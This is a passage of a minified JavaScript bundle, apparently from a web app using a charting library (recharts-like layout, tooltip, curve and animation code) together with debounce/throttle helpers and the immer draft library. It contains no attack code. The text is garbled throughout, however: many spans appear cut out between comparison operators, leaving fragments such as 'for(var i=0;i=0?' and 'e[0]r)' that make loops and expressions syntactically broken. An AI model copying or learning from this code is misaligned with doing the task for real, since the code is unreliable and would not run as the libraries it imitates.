n=Math.min(t[0],t[1]),r=Math.max(t[0],t[1]),i=[e[0],e[1]];return(!Oe(e[0])||e[0]r)&&(i[1]=r),i[0]>r&&(i[0]=r),i[1]{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(h[0]=l,h[1]=l+y,l=p):(h[0]=c,h[1]=c+y,c=p)}}}},MK=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(f[0]=l,f[1]=l+h,l=f[1]):(f[0]=0,f[1]=0)}}}},jK={sign:NK,expand:aF,none:so,silhouette:iF,wiggle:oF,positive:MK},PK=(e,t,n)=>{var r,i=(r=jK[n])!==null&&r!==void 0?r:so,l=rF().keys(t).value((u,f)=>Number(lt(u,f,0))).order(N0).offset(i),c=l(e);return c.forEach((u,f)=>{u.forEach((h,p)=>{var m=lt(e[p],t[f],0);Array.isArray(m)&&m.length===2&&Oe(m[0])&&Oe(m[1])&&(h[0]=m[0],h[1]=m[1])})}),c};function RK(e){return e==null?void 0:String(e)}var $_=e=>{var{axis:t,ticks:n,offset:r,bandSize:i,entry:l,index:c}=e;if(t.type==="category")return n[c]?n[c].coordinate+r:null;var u=lt(l,t.dataKey,t.scale.domain()[c]);return Vt(u)?null:t.scale(u)-i/2+r},DK=e=>{var{numericAxis:t}=e,n=t.scale.domain();if(t.type==="number"){var r=Math.min(n[0],n[1]),i=Math.max(n[0],n[1]);return r<=0&&i>=0?0:i<0?i:r}return n[0]},kK=e=>{var t=e.flat(2).filter(Oe);return[Math.min(...t),Math.max(...t)]},LK=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],IK=(e,t,n)=>{if(e!=null)return LK(Object.keys(e).reduce((r,i)=>{var l=e[i];if(!l)return r;var{stackedData:c}=l,u=c.reduce((f,h)=>{var p=lD(h,t,n),m=kK(p);return!ht(m[0])||!ht(m[1])?f:[Math.min(f[0],m[0]),Math.max(f[1],m[1])]},[1/0,-1/0]);return[Math.min(u[0],r[0]),Math.max(u[1],r[1])]},[1/0,-1/0]))},B_=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,U_=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,qd=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Xh(t,p=>p.coordinate),l=1/0,c=1,u=i.length;c{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},$K=(e,t)=>t==="centric"?e.angle:e.radius,Pa=e=>e.layout.width,Ra=e=>e.layout.height,BK=e=>e.layout.scale,sD=e=>e.layout.margin,op=G(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),lp=G(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),cD="data-recharts-item-index",uD="data-recharts-item-id",Qc=60;function q_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Zf(e){for(var t=1;te.brush.height;function VK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function KK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function YK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function GK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=G([Pa,Ra,sD,FK,VK,KK,YK,GK,jR,xV],(e,t,n,r,i,l,c,u,f,h)=>{var p={left:(n.left||0)+i,right:(n.right||0)+l},m={top:(n.top||0)+c,bottom:(n.bottom||0)+u},y=Zf(Zf({},m),p),x=y.bottom;y.bottom+=r,y=CK(y,f,h);var S=e-y.left-y.right,w=t-y.top-y.bottom;return Zf(Zf({brushBottom:x},y),{},{width:Math.max(S,0),height:Math.max(w,0)})}),WK=G(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height})),Sx=G(Pa,Ra,(e,t)=>({x:0,y:0,width:e,height:t})),XK=v.createContext(null),Vn=()=>v.useContext(XK)!=null,sp=e=>e.brush,cp=G([sp,kt,sD],(e,t,n)=>({height:e.height,x:Oe(e.x)?e.x:t.left,y:Oe(e.y)?e.y:t.top+t.height+t.brushBottom-(n?.bottom||0),width:Oe(e.width)?e.width:t.width})),Oy={},Ey={},Ay={},F_;function ZK(){return F_||(F_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:l}={}){let c,u=null;const f=l!=null&&l.includes("leading"),h=l==null||l.includes("trailing"),p=()=>{u!==null&&(n.apply(c,u),c=void 0,u=null)},m=()=>{h&&p(),w()};let y=null;const x=()=>{y!=null&&clearTimeout(y),y=setTimeout(()=>{y=null,m()},r)},S=()=>{y!==null&&(clearTimeout(y),y=null)},w=()=>{S(),c=void 0,u=null},O=()=>{p()},A=function(..._){if(i?.aborted)return;c=this,u=_;const T=y==null;x(),f&&T&&p()};return A.schedule=x,A.cancel=w,A.flush=O,i?.addEventListener("abort",w,{once:!0}),A}e.debounce=t})(Ay)),Ay}var V_;function QK(){return V_||(V_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ZK();function n(r,i=0,l={}){typeof l!="object"&&(l={});const{leading:c=!1,trailing:u=!0,maxWait:f}=l,h=Array(2);c&&(h[0]="leading"),u&&(h[1]="trailing");let p,m=null;const y=t.debounce(function(...w){p=r.apply(this,w),m=null},i,{edges:h}),x=function(...w){return f!=null&&(m===null&&(m=Date.now()),Date.now()-m>=f)?(p=r.apply(this,w),m=Date.now(),y.cancel(),y.schedule(),p):(y.apply(this,w),p)},S=()=>(y.flush(),p);return x.cancel=y.cancel,x.flush=S,x}e.debounce=n})(Ey)),Ey}var K_;function JK(){return K_||(K_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=QK();function n(r,i=0,l={}){const{leading:c=!0,trailing:u=!0}=l;return t.debounce(r,i,{leading:c,maxWait:i,trailing:u})}e.throttle=n})(Oy)),Oy}var Cy,Y_;function eY(){return Y_||(Y_=1,Cy=JK().throttle),Cy}var tY=eY();const nY=Vr(tY);var G_=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),l=2;li[c++]))}},fD=(e,t,n)=>{var{width:r="100%",height:i="100%",aspect:l,maxHeight:c}=n,u=Ea(r)?e:Number(r),f=Ea(i)?t:Number(i);return l&&l>0&&(u?f=u/l:f&&(u=f*l),c&&f!=null&&f>c&&(f=c)),{calculatedWidth:u,calculatedHeight:f}},rY={width:0,height:0,overflow:"visible"},aY={width:0,overflowX:"visible"},iY={height:0,overflowY:"visible"},oY={},lY=e=>{var{width:t,height:n}=e,r=Ea(t),i=Ea(n);return r&&i?rY:r?aY:i?iY:oY};function sY(e){var{width:t,height:n,aspect:r}=e,i=t,l=n;return i===void 0&&l===void 0?(i="100%",l="100%"):i===void 0?i=r&&r>0?void 0:"100%":l===void 0&&(l=r&&r>0?void 0:"100%"),{width:i,height:l}}function U0(){return U0=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return dY(i)?v.createElement(dD.Provider,{value:i},t):null}var Ox=()=>v.useContext(dD),hY=v.forwardRef((e,t)=>{var{aspect:n,initialDimension:r={width:-1,height:-1},width:i,height:l,minWidth:c=0,minHeight:u,maxHeight:f,children:h,debounce:p=0,id:m,className:y,onResize:x,style:S={}}=e,w=v.useRef(null),O=v.useRef();O.current=x,v.useImperativeHandle(t,()=>w.current);var[A,_]=v.useState({containerWidth:r.width,containerHeight:r.height}),T=v.useCallback((I,B)=>{_(q=>{var U=Math.round(I),V=Math.round(B);return q.containerWidth===U&&q.containerHeight===V?q:{containerWidth:U,containerHeight:V}})},[]);v.useEffect(()=>{if(w.current==null||typeof ResizeObserver>"u")return Gc;var I=V=>{var oe,{width:le,height:ce}=V[0].contentRect;T(le,ce),(oe=O.current)===null||oe===void 0||oe.call(O,le,ce)};p>0&&(I=nY(I,p,{trailing:!0,leading:!1}));var B=new ResizeObserver(I),{width:q,height:U}=w.current.getBoundingClientRect();return T(q,U),B.observe(w.current),()=>{B.disconnect()}},[T,p]);var{containerWidth:j,containerHeight:M}=A;G_(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:P,calculatedHeight:R}=fD(j,M,{width:i,height:l,aspect:n,maxHeight:f});return G_(P!=null&&P>0||R!=null&&R>0,`The width(%s) and height(%s) of chart should be greater than 0, - please check the style of container, or the props width(%s) and height(%s), - or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the - height and width.`,P,R,i,l,c,u,n),v.createElement("div",{id:m?"".concat(m):void 0,className:Ye("recharts-responsive-container",y),style:X_(X_({},S),{},{width:i,height:l,minWidth:c,minHeight:u,maxHeight:f}),ref:w},v.createElement("div",{style:lY({width:i,height:l})},v.createElement(hD,{width:P,height:R},h)))}),pY=v.forwardRef((e,t)=>{var n=Ox();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=sY({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:l,calculatedHeight:c}=fD(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return Oe(l)&&Oe(c)?v.createElement(hD,{width:l,height:c},e.children):v.createElement(hY,U0({},e,{width:r,height:i,ref:t}))});function pD(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var up=()=>{var e,t=Vn(),n=we(WK),r=we(cp),i=(e=we(sp))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},mY={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},vY=()=>{var e;return(e=we(kt))!==null&&e!==void 0?e:mY},gY=()=>we(Pa),yY=()=>we(Ra),Fe=e=>e.layout.layoutType,Jc=()=>we(Fe),bY=()=>{var e=Jc();return e!==void 0},fp=e=>{var t=ft(),n=Vn(),{width:r,height:i}=e,l=Ox(),c=r,u=i;return l&&(c=l.width>0?l.width:r,u=l.height>0?l.height:i),v.useEffect(()=>{!n&&Si(c)&&Si(u)&&t(xK({width:c,height:u}))},[t,n,c,u]),null},mD=Symbol.for("immer-nothing"),Z_=Symbol.for("immer-draftable"),qn=Symbol.for("immer-state");function xr(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Nc=Object.getPrototypeOf;function kl(e){return!!e&&!!e[qn]}function fo(e){return e?vD(e)||Array.isArray(e)||!!e[Z_]||!!e.constructor?.[Z_]||eu(e)||hp(e):!1}var xY=Object.prototype.constructor.toString(),Q_=new WeakMap;function vD(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Q_.get(n);return r===void 0&&(r=Function.toString.call(n),Q_.set(n,r)),r===xY}function Fd(e,t,n=!0){dp(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function dp(e){const t=e[qn];return t?t.type_:Array.isArray(e)?1:eu(e)?2:hp(e)?3:0}function H0(e,t){return dp(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function gD(e,t,n){const r=dp(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function wY(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function eu(e){return e instanceof Map}function hp(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function q0(e,t){if(eu(e))return new Map(e);if(hp(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=vD(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[qn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Object.defineProperties(e,{set:Qf,add:Qf,clear:Qf,delete:Qf}),Object.freeze(e),t&&Object.values(e).forEach(n=>Ex(n,!0))),e}function SY(){xr(2)}var Qf={value:SY};function pp(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var OY={};function ho(e){const t=OY[e];return t||xr(0,e),t}var Mc;function yD(){return Mc}function EY(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function J_(e,t){t&&(ho("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function F0(e){V0(e),e.drafts_.forEach(AY),e.drafts_=null}function V0(e){e===Mc&&(Mc=e.parent_)}function eT(e){return Mc=EY(Mc,e)}function AY(e){const t=e[qn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function tT(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[qn].modified_&&(F0(t),xr(4)),fo(e)&&(e=Vd(t,e),t.parent_||Kd(t,e)),t.patches_&&ho("Patches").generateReplacementPatches_(n[qn].base_,e,t.patches_,t.inversePatches_)):e=Vd(t,n,[]),F0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==mD?e:void 0}function Vd(e,t,n){if(pp(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[qn];if(!i)return Fd(t,(l,c)=>nT(e,i,t,l,c,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Kd(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const l=i.copy_;let c=l,u=!1;i.type_===3&&(c=new Set(l),l.clear(),u=!0),Fd(c,(f,h)=>nT(e,i,l,f,h,n,u),r),Kd(e,l,!1),n&&e.patches_&&ho("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function nT(e,t,n,r,i,l,c){if(i==null||typeof i!="object"&&!c)return;const u=pp(i);if(!(u&&!c)){if(kl(i)){const f=l&&t&&t.type_!==3&&!H0(t.assigned_,r)?l.concat(r):void 0,h=Vd(e,i,f);if(gD(n,r,h),kl(h))e.canAutoFreeze_=!1;else return}else c&&n.add(i);if(fo(i)&&!u){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&u)return;Vd(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(eu(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Kd(e,i)}}}function Kd(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ex(t,n)}function CY(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:yD(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,l=Ax;n&&(i=[r],l=jc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,u}var Ax={get(e,t){if(t===qn)return e;const n=Wi(e);if(!H0(n,t))return _Y(e,n,t);const r=n[t];return e.finalized_||!fo(r)?r:r===_y(e.base_,t)?(Ty(e),e.copy_[t]=Y0(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=bD(Wi(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=_y(Wi(e),t),l=i?.[qn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(wY(n,i)&&(n!==void 0||H0(e.base_,t)))return!0;Ty(e),K0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return _y(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Ty(e),K0(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){xr(11)},getPrototypeOf(e){return Nc(e.base_)},setPrototypeOf(){xr(12)}},jc={};Fd(Ax,(e,t)=>{jc[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});jc.deleteProperty=function(e,t){return jc.set.call(this,e,t,void 0)};jc.set=function(e,t,n){return Ax.set.call(this,e[0],t,n,e[0])};function _y(e,t){const n=e[qn];return(n?Wi(n):e)[t]}function _Y(e,t,n){const r=bD(t,n);return r?"value"in r?r.value:r.get?.call(e.draft_):void 0}function bD(e,t){if(!(t in e))return;let n=Nc(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Nc(n)}}function K0(e){e.modified_||(e.modified_=!0,e.parent_&&K0(e.parent_))}function Ty(e){e.copy_||(e.copy_=q0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var TY=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const l=n;n=t;const c=this;return function(f=l,...h){return c.produce(f,p=>n.call(this,p,...h))}}typeof n!="function"&&xr(6),r!==void 0&&typeof r!="function"&&xr(7);let i;if(fo(t)){const l=eT(this),c=Y0(t,void 0);let u=!0;try{i=n(c),u=!1}finally{u?F0(l):V0(l)}return J_(l,r),tT(i,l)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===mD&&(i=void 0),this.autoFreeze_&&Ex(i,!0),r){const l=[],c=[];ho("Patches").generateReplacementPatches_(t,i,l,c),r(l,c)}return i}else xr(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(c,...u)=>this.produceWithPatches(c,f=>t(f,...u));let r,i;return[this.produce(t,n,(c,u)=>{r=c,i=u}),r,i]},typeof e?.autoFreeze=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof e?.useStrictShallowCopy=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof e?.useStrictIteration=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){fo(e)||xr(8),kl(e)&&(e=NY(e));const t=eT(this),n=Y0(e,void 0);return n[qn].isManual_=!0,V0(t),n}finishDraft(e,t){const n=e&&e[qn];(!n||!n.isManual_)&&xr(9);const{scope_:r}=n;return J_(r,t),tT(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ho("Patches").applyPatches_;return kl(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Y0(e,t){const n=eu(e)?ho("MapSet").proxyMap_(e,t):hp(e)?ho("MapSet").proxySet_(e,t):CY(e,t);return(t?t.scope_:yD()).drafts_.push(n),n}function NY(e){return kl(e)||xr(10,e),xD(e)}function xD(e){if(!fo(e)||pp(e))return e;const t=e[qn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=q0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=q0(e,!0);return Fd(n,(i,l)=>{gD(n,i,xD(l))},r),t&&(t.finalized_=!1),n}var MY=new TY;MY.produce;var jY={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},wD=An({name:"legend",initialState:jY,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:ct()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:ct()},removeLegendPayload:{reducer(e,t){var n=Sr(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:ct()}}}),{setLegendSize:xue,setLegendSettings:wue,addLegendPayload:SD,replaceLegendPayload:OD,removeLegendPayload:ED}=wD.actions,PY=wD.reducer;function G0(){return G0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=" : ",contentStyle:n={},itemStyle:r={},labelStyle:i={},payload:l,formatter:c,itemSorter:u,wrapperClassName:f,labelClassName:h,label:p,labelFormatter:m,accessibilityLayer:y=!1}=e,x=()=>{if(l&&l.length){var M={padding:0,margin:0},P=(u?Xh(l,u):l).map((R,I)=>{if(R.type==="none")return null;var B=R.formatter||c||LY,{value:q,name:U}=R,V=q,oe=U;if(B){var le=B(q,U,R,I,l);if(Array.isArray(le))[V,oe]=le;else if(le!=null)V=le;else return null}var ce=Ny({display:"block",paddingTop:4,paddingBottom:4,color:R.color||"#000"},r);return v.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(I),style:ce},qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-name"},oe):null,qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,v.createElement("span",{className:"recharts-tooltip-item-value"},V),v.createElement("span",{className:"recharts-tooltip-item-unit"},R.unit||""))});return v.createElement("ul",{className:"recharts-tooltip-item-list",style:M},P)}return null},S=Ny({margin:0,padding:10,backgroundColor:"#fff",border:"1px solid #ccc",whiteSpace:"nowrap"},n),w=Ny({margin:0},i),O=!Vt(p),A=O?p:"",_=Ye("recharts-default-tooltip",f),T=Ye("recharts-tooltip-label",h);O&&m&&l!==void 0&&l!==null&&(A=m(p,l));var j=y?{role:"status","aria-live":"assertive"}:{};return v.createElement("div",G0({className:_,style:S},j),v.createElement("p",{className:T,style:w},v.isValidElement(A)?A:"".concat(A)),x())},ac="recharts-tooltip-wrapper",zY={visibility:"hidden"};function $Y(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ye(ac,{["".concat(ac,"-right")]:Oe(n)&&t&&Oe(t.x)&&n>=t.x,["".concat(ac,"-left")]:Oe(n)&&t&&Oe(t.x)&&n=t.y,["".concat(ac,"-top")]:Oe(r)&&t&&Oe(t.y)&&r0?i:0),m=n[r]+i;if(t[r])return c[r]?p:m;var y=f[r];if(y==null)return 0;if(c[r]){var x=p,S=y;return xO?Math.max(p,y):Math.max(m,y)}function BY(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function UY(e){var{allowEscapeViewBox:t,coordinate:n,offsetTopLeft:r,position:i,reverseDirection:l,tooltipBox:c,useTranslate3d:u,viewBox:f}=e,h,p,m;return c.height>0&&c.width>0&&n?(p=aT({allowEscapeViewBox:t,coordinate:n,key:"x",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.width,viewBox:f,viewBoxDimension:f.width}),m=aT({allowEscapeViewBox:t,coordinate:n,key:"y",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.height,viewBox:f,viewBoxDimension:f.height}),h=BY({translateX:p,translateY:m,useTranslate3d:u})):h=zY,{cssProperties:h,cssClasses:$Y({translateX:p,translateY:m,coordinate:n})}}function iT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jf(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,l;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(l=this.props.coordinate)===null||l===void 0?void 0:l.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:l,coordinate:c,hasPayload:u,isAnimationActive:f,offset:h,position:p,reverseDirection:m,useTranslate3d:y,viewBox:x,wrapperStyle:S,lastBoundingBox:w,innerRef:O,hasPortalFromProps:A}=this.props,{cssClasses:_,cssProperties:T}=UY({allowEscapeViewBox:n,coordinate:c,offsetTopLeft:h,position:p,reverseDirection:m,tooltipBox:{height:w.height,width:w.width},useTranslate3d:y,viewBox:x}),j=A?{}:Jf(Jf({transition:f&&t?"transform ".concat(r,"ms ").concat(i):void 0},T),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&u?"visible":"hidden",position:"absolute",top:0,left:0}),M=Jf(Jf({},j),{},{visibility:!this.state.dismissed&&t&&u?"visible":"hidden"},S);return v.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:_,style:M,ref:O},l)}}var AD=()=>{var e;return(e=we(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function X0(){return X0=Object.assign?Object.assign.bind():function(e){for(var t=1;tht(e.x)&&ht(e.y),cT=e=>e.base!=null&&Yd(e.base)&&Yd(e),ic=e=>e.x,oc=e=>e.y,GY=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Yc(e));return(n==="curveMonotone"||n==="curveBump")&&t?sT["".concat(n).concat(t==="vertical"?"Y":"X")]:sT[n]||Yh},WY=e=>{var{type:t="linear",points:n=[],baseLine:r,layout:i,connectNulls:l=!1}=e,c=GY(t,i),u=l?n.filter(Yd):n,f;if(Array.isArray(r)){var h=n.map((x,S)=>lT(lT({},x),{},{base:r[S]}));i==="vertical"?f=Vf().y(oc).x1(ic).x0(x=>x.base.x):f=Vf().x(ic).y1(oc).y0(x=>x.base.y);var p=f.defined(cT).curve(c),m=l?h.filter(cT):h;return p(m)}i==="vertical"&&Oe(r)?f=Vf().y(oc).x1(ic).x0(r):Oe(r)?f=Vf().x(ic).y1(oc).y0(r):f=rR().x(ic).y(oc);var y=f.defined(Yd).curve(c);return y(u)},Cx=e=>{var{className:t,points:n,path:r,pathRef:i}=e,l=Jc();if((!n||!n.length)&&!r)return null;var c={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||l,connectNulls:e.connectNulls},u=n&&n.length?WY(c):r;return v.createElement("path",X0({},Ur(e),AF(e),{className:Ye("recharts-curve",t),d:u===null?void 0:u,ref:i}))},XY=["x","y","top","left","width","height","className"];function Z0(){return Z0=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(l,",").concat(t,"h").concat(n),aG=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:l=0,height:c=0,className:u}=e,f=tG(e,XY),h=ZY({x:t,y:n,top:r,left:i,width:l,height:c},f);return!Oe(t)||!Oe(n)||!Oe(l)||!Oe(c)||!Oe(r)||!Oe(i)?null:v.createElement("path",Z0({},ur(h),{className:Ye("recharts-cross",u),d:rG(t,n,l,c,r,i)}))};function iG(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function fT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function dT(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),CD=(e,t,n)=>e.map(r=>"".concat(cG(r)," ").concat(t,"ms ").concat(n)).join(","),uG=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Pc=(e,t)=>Object.keys(t).reduce((n,r)=>dT(dT({},n),{},{[r]:e(r,t[r])}),{});function hT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dt(e){for(var t=1;te+(t-e)*n,Q0=e=>{var{from:t,to:n}=e;return t!==n},_D=(e,t,n)=>{var r=Pc((i,l)=>{if(Q0(l)){var[c,u]=e(l.from,l.to,l.velocity);return Dt(Dt({},l),{},{from:c,velocity:u})}return l},t);return n<1?Pc((i,l)=>Q0(l)&&r[i]!=null?Dt(Dt({},l),{},{velocity:Gd(l.velocity,r[i].velocity,n),from:Gd(l.from,r[i].from,n)}):l,t):_D(e,r,n-1)};function 